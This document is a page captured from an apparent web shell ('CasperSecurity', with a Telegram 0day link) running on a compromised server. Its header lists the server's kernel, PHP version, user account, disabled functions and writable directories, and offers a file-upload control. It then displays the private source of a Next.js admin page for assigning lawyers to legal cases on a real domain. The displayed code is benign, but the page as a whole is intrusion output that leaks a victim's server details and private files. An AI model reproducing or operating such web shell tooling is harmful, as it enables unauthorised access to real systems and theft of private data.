T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/src/pages/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/src/pages/admin/case-assignments.tsx
import { useEffect, useState } from 'react';
import type { NextPage } from 'next';
import { useSession } from 'next-auth/react';
import { useRouter } from 'next/router';
import LayoutWithSidebar from '@/components/LayoutWithSidebar';
import CaseAssignmentDashboard from '@/components/CaseAssignmentDashboard';
import { canAccessAdmin } from '@/lib/auth-utils';
import toast from 'react-hot-toast';

interface User {
  id: string;
  name: string;
  email: string;
  role: string;
  title?: string;
  lawFirm?: {
    name: string;
    shortName?: string;
  };
}

interface LegalCase {
  id: string;
  title: string;
  caseNumber: string;
  status: string;
  priority: string;
  jurisdiction: string;
  court?: string;
  firmName?: string;
  leadLawyer?: {
    id: string;
    name: string;
    email: string;
  };
  _count?: {
    caseAssignments: number;
    registrations: number;
  };
}

interface CaseAssignment {
  id: string;
  role: 'lead_lawyer' | 'primary_lawyer' | 'assistant_lawyer' | 'secretary';
  assignedAt: string;
  user: User;
  legalCase: LegalCase;
}

const CaseAssignmentsPage: NextPage = () => {
  const { data: session, status } = useSession();
  const router = useRouter();
  const [loading, setLoading] = useState(true);
  const [users, setUsers] = useState<User[]>([]);
  const [cases, setCases] = useState<LegalCase[]>([]);
  const [selectedView, setSelectedView] = useState<'dashboard' | 'assign' | 'manage'>('dashboard');

  useEffect(() => {
    if (status === 'loading') return;
    
    if (!session?.user) {
      router.push('/auth/login');
      return;
    }

    if (!canAccessAdmin(session)) {
      router.push('/');
      return;
    }

    fetchData();
  }, [session, status, router]);

  const fetchData = async () => {
    try {
      const [usersRes, casesRes] = await Promise.all([
        fetch('/api/admin/users'),
        fetch('/api/admin/cases')
      ]);

      if (usersRes.ok) {
        const usersData = await usersRes.json();
        setUsers(usersData.users || []);
      }

      if (casesRes.ok) {
        const casesData = await casesRes.json();
        setCases(casesData.cases || []);
      }
    } catch (error) {
      console.error('Error fetching data:', error);
      toast.error('Failed to load data');
    } finally {
      setLoading(false);
    }
  };

  const assignUserToCase = async (caseId: string, userId: string, role: string) => {
    try {
      const response = await fetch('/api/admin/case-assignments', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ caseId, userId, role })
      });

      if (response.ok) {
        toast.success('Team member assigned successfully!');
        fetchData();
      } else {
        const error = await response.json();
        toast.error(error.error || 'Failed to assign team member');
      }
    } catch (error) {
      console.error('Error assigning user:', error);
      toast.error('Failed to assign team member');
    }
  };

  if (status === 'loading' || loading) {
    return (
      <LayoutWithSidebar>
        <div className="flex justify-center items-center min-h-screen">
          <div className="text-center">
            <div className="animate-spin rounded-full h-32 w-32 border-b-2 border-primary mx-auto"></div>
            <p className="mt-4 text-gray-600">Loading case assignments...</p>
          </div>
        </div>
      </LayoutWithSidebar>
    );
  }

  if (!session?.user) return null;

  return (
    <LayoutWithSidebar>
      <div className="space-y-6">
        {/* Header with Navigation */}
        <div className="bg-white shadow rounded-lg">
          <div className="px-6 py-4 border-b border-gray-200">
            <h1 className="text-2xl font-bold text-gray-900 flex items-center gap-2">
              🏛️ Case Assignment Management
            </h1>
            <p className="text-gray-600 mt-1">
              Manage team assignments and workflow for legal cases
            </p>
          </div>
          
          <div className="px-6 py-3">
            <nav className="flex space-x-1">
              {[
                { id: 'dashboard', label: '📊 My Dashboard' },
                { id: 'assign', label: '➕ Assign Teams' }
              ].map((tab) => (
                <button
                  key={tab.id}
                  onClick={() => setSelectedView(tab.id as any)}
                  className={`px-4 py-2 text-sm font-medium rounded-md transition-colors ${
                    selectedView === tab.id
                      ? 'bg-primary text-white'
                      : 'text-gray-500 hover:text-gray-700 hover:bg-gray-100'
                  }`}
                >
                  {tab.label}
                </button>
              ))}
            </nav>
          </div>
        </div>

        {/* Content based on selected view */}
        {selectedView === 'dashboard' && (
          <CaseAssignmentDashboard currentUser={session.user} />
        )}

        {selectedView === 'assign' && (
          <CaseAssignmentForm 
            users={users}
            cases={cases}
            onAssign={assignUserToCase}
            onRefresh={fetchData}
          />
        )}
      </div>
    </LayoutWithSidebar>
  );
};

// Case Assignment Form Component
const CaseAssignmentForm = ({ 
  users, 
  cases, 
  onAssign,
  onRefresh
}: {
  users: User[];
  cases: LegalCase[];
  onAssign: (caseId: string, userId: string, role: string) => void;
  onRefresh: () => void;
}) => {
  const [selectedCase, setSelectedCase] = useState('');
  const [selectedUser, setSelectedUser] = useState('');
  const [selectedRole, setSelectedRole] = useState('');
  const [existingTeam, setExistingTeam] = useState<CaseAssignment[]>([]);
  const [loadingTeam, setLoadingTeam] = useState(false);

  const handleSubmit = (e: React.FormEvent) => {
    e.preventDefault();
    if (selectedCase && selectedUser && selectedRole) {
      onAssign(selectedCase, selectedUser, selectedRole);
      setSelectedUser('');
      setSelectedRole('');
      // Keep case selected to continue adding team members
      fetchCaseTeam(selectedCase);
    }
  };

  const fetchCaseTeam = async (caseId: string) => {
    if (!caseId) return;
    
    setLoadingTeam(true);
    try {
      const response = await fetch(`/api/admin/case-assignments?caseId=${caseId}`);
      if (response.ok) {
        const team = await response.json();
        setExistingTeam(team);
      }
    } catch (error) {
      console.error('Error fetching team:', error);
    } finally {
      setLoadingTeam(false);
    }
  };

  const handleCaseChange = (caseId: string) => {
    setSelectedCase(caseId);
    setSelectedUser('');
    setSelectedRole('');
    if (caseId) {
      fetchCaseTeam(caseId);
    } else {
      setExistingTeam([]);
    }
  };

  const getRoleInfo = (role: string) => {
    switch (role) {
      case 'lead_lawyer':
        return { 
          label: 'Lead Attorney', 
          description: 'Overall case responsibility, strategic decisions, court appearances', 
          icon: '⚖️',
          requirements: 'LAWYER, ADMIN, or SUPERADMIN',
          color: 'bg-blue-100 text-blue-800 border-blue-200'
        };
      case 'primary_lawyer':
        return { 
          label: 'Primary Attorney', 
          description: 'Core legal work, client interaction, document preparation', 
          icon: '🏛️',
          requirements: 'LAWYER, ADMIN, or SUPERADMIN',
          color: 'bg-indigo-100 text-indigo-800 border-indigo-200'
        };
      case 'assistant_lawyer':
        return { 
          label: 'Assistant Attorney', 
          description: 'Legal research, document drafting, case support', 
          icon: '📚',
          requirements: 'LAWYER, CLERK, ADMIN, or SUPERADMIN',
          color: 'bg-purple-100 text-purple-800 border-purple-200'
        };
      case 'secretary':
        return { 
          label: 'Legal Secretary', 
          description: 'Administrative support, scheduling, document management', 
          icon: '📋',
          requirements: 'SECRETARY, ASSISTANT, ADMIN, or SUPERADMIN',
          color: 'bg-green-100 text-green-800 border-green-200'
        };
      default:
        return { label: role, description: '', icon: '👤', requirements: '', color: 'bg-gray-100 text-gray-800 border-gray-200' };
    }
  };

  const canAssignRole = (userRole: string, assignmentRole: string) => {
    const roleValidation = {
      'lead_lawyer': ['LAWYER', 'ADMIN', 'SUPERADMIN'],
      'primary_lawyer': ['LAWYER', 'ADMIN', 'SUPERADMIN'],
      'assistant_lawyer': ['LAWYER', 'CLERK', 'ADMIN', 'SUPERADMIN'],
      'secretary': ['SECRETARY', 'ASSISTANT', 'ADMIN', 'SUPERADMIN']
    };
    return roleValidation[assignmentRole as keyof typeof roleValidation]?.includes(userRole) || false;
  };

  const eligibleUsers = users.filter(user => 
    selectedRole ? canAssignRole(user.role, selectedRole) : true
  );

  const selectedCaseData = cases.find(c => c.id === selectedCase);
  const selectedUserData = users.find(u => u.id === selectedUser);

  return (
    <div className="space-y-6">
      {/* Case Team Assignment Form */}
      <div className="bg-white shadow rounded-lg p-6">
        <div className="mb-6">
          <h2 className="text-lg font-semibold text-gray-900 flex items-center gap-2">
            👥 Build Legal Team
          </h2>
          <p className="text-sm text-gray-600 mt-1">
            Select a case and assign qualified team members to specific roles
          </p>
        </div>
        
        <form onSubmit={handleSubmit} className="space-y-6">
          <div className="grid grid-cols-1 lg:grid-cols-3 gap-6">
            {/* Case Selection */}
            <div>
              <label className="block text-sm font-medium text-gray-700 mb-2">
                🏛️ Legal Case
              </label>
              <select
                value={selectedCase}
                onChange={(e) => handleCaseChange(e.target.value)}
                className="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-primary focus:border-transparent"
                required
              >
                <option value="">Select a legal case...</option>
                {cases.map((legalCase) => (
                  <option key={legalCase.id} value={legalCase.id}>
                    {legalCase.title} ({legalCase.caseNumber})
                  </option>
                ))}
              </select>
              {cases.length === 0 && (
                <p className="text-xs text-gray-500 mt-1">No legal cases available</p>
              )}
            </div>

            {/* Role Selection */}
            <div>
              <label className="block text-sm font-medium text-gray-700 mb-2">
                🎯 Team Role
              </label>
              <select
                value={selectedRole}
                onChange={(e) => {
                  setSelectedRole(e.target.value);
                  setSelectedUser(''); // Reset user selection when role changes
                }}
                className="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-primary focus:border-transparent"
                required
                disabled={!selectedCase}
              >
                <option value="">
                  {!selectedCase ? 'Select case first...' : 'Choose team role...'}
                </option>
                {['lead_lawyer', 'primary_lawyer', 'assistant_lawyer', 'secretary'].map((role) => {
                  const roleInfo = getRoleInfo(role);
                  return (
                    <option key={role} value={role}>
                      {roleInfo.icon} {roleInfo.label}
                    </option>
                  );
                })}
              </select>
            </div>

            {/* User Selection */}
            <div>
              <label className="block text-sm font-medium text-gray-700 mb-2">
                👤 Team Member
              </label>
              <select
                value={selectedUser}
                onChange={(e) => setSelectedUser(e.target.value)}
                className="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-primary focus:border-transparent"
                required
                disabled={!selectedRole}
              >
                <option value="">
                  {!selectedRole ? 'Select role first...' : 'Choose team member...'}
                </option>
                {eligibleUsers.map((user) => (
                  <option key={user.id} value={user.id}>
                    {user.name} ({user.role}) {user.lawFirm?.shortName ? `- ${user.lawFirm.shortName}` : ''}
                  </option>
                ))}
              </select>
              {selectedRole && eligibleUsers.length === 0 && (
                <p className="text-xs text-red-500 mt-1">
                  No users eligible for this role
                </p>
              )}
            </div>
          </div>

          {/* Role Description */}
          {selectedRole && (
            <div className={`border rounded-lg p-4 ${getRoleInfo(selectedRole).color}`}>
              <div className="flex items-start gap-3">
                <div className="text-2xl">{getRoleInfo(selectedRole).icon}</div>
                <div className="flex-1">
                  <h4 className="font-semibold mb-1">
                    {getRoleInfo(selectedRole).label}
                  </h4>
                  <p className="text-sm mb-2">
                    {getRoleInfo(selectedRole).description}
                  </p>
                  <p className="text-xs">
                    <strong>Requirements:</strong> {getRoleInfo(selectedRole).requirements}
                  </p>
                </div>
              </div>
            </div>
          )}

          {/* Assignment Summary */}
          {selectedCase && selectedUser && selectedRole && (
            <div className="bg-green-50 border border-green-200 rounded-lg p-4">
              <h4 className="font-semibold text-green-900 mb-2">✅ Ready to Assign</h4>
              <div className="text-sm text-green-800 space-y-1">
                <p><strong>Case:</strong> {selectedCaseData?.title} ({selectedCaseData?.caseNumber})</p>
                <p><strong>Team Member:</strong> {selectedUserData?.name} ({selectedUserData?.role})</p>
                <p><strong>Role:</strong> {getRoleInfo(selectedRole).label}</p>
              </div>
            </div>
          )}

          <div className="flex justify-end pt-4">
            <button
              type="submit"
              disabled={!selectedCase || !selectedUser || !selectedRole}
              className="bg-primary text-white px-6 py-3 rounded-md hover:bg-primary-dark transition-colors flex items-center gap-2 disabled:opacity-50 disabled:cursor-not-allowed"
            >
              👥 Add to Team
            </button>
          </div>
        </form>
      </div>

      {/* Current Team Display */}
      {selectedCase && (
        <div className="bg-white shadow rounded-lg p-6">
          <div className="flex items-center justify-between mb-4">
            <h3 className="text-lg font-semibold text-gray-900 flex items-center gap-2">
              👥 Current Team: {selectedCaseData?.title}
            </h3>
            <button
              onClick={() => fetchCaseTeam(selectedCase)}
              className="text-blue-600 hover:text-blue-800 text-sm"
            >
              🔄 Refresh
            </button>
          </div>
          
          {loadingTeam ? (
            <div className="text-center py-4">
              <div className="animate-spin rounded-full h-6 w-6 border-b-2 border-primary mx-auto"></div>
            </div>
          ) : existingTeam.length === 0 ? (
            <div className="text-center py-8 text-gray-500">
              <div className="text-4xl mb-3">👥</div>
              <p>No team members assigned yet</p>
              <p className="text-sm mt-1">Use the form above to build your legal team</p>
            </div>
          ) : (
            <div className="space-y-3">
              {existingTeam.map((assignment) => {
                const roleInfo = getRoleInfo(assignment.role);
                return (
                  <div key={assignment.id} className="flex items-center justify-between p-4 border border-gray-200 rounded-lg hover:bg-gray-50">
                    <div className="flex items-center gap-3">
                      <div className="w-10 h-10 bg-gradient-to-r from-primary to-primary-dark rounded-full flex items-center justify-center text-white font-semibold">
                        {assignment.user.name.charAt(0).toUpperCase()}
                      </div>
                      <div>
                        <div className="font-medium text-gray-900">{assignment.user.name}</div>
                        <div className="text-sm text-gray-600">{assignment.user.email}</div>
                        {assignment.user.lawFirm && (
                          <div className="text-xs text-blue-600">{assignment.user.lawFirm.name}</div>
                        )}
                      </div>
                    </div>
                    
                    <div className="text-right">
                      <span className={`inline-flex items-center gap-1 px-3 py-1 text-sm rounded-full border ${roleInfo.color}`}>
                        <span>{roleInfo.icon}</span>
                        <span>{roleInfo.label}</span>
                      </span>
                      <div className="text-xs text-gray-500 mt-1">
                        Since {new Date(assignment.assignedAt).toLocaleDateString()}
                      </div>
                    </div>
                  </div>
                );
              })}
            </div>
          )}
        </div>
      )}
    </div>
  );
};

export default CaseAssignmentsPage;

CasperSecurity Mini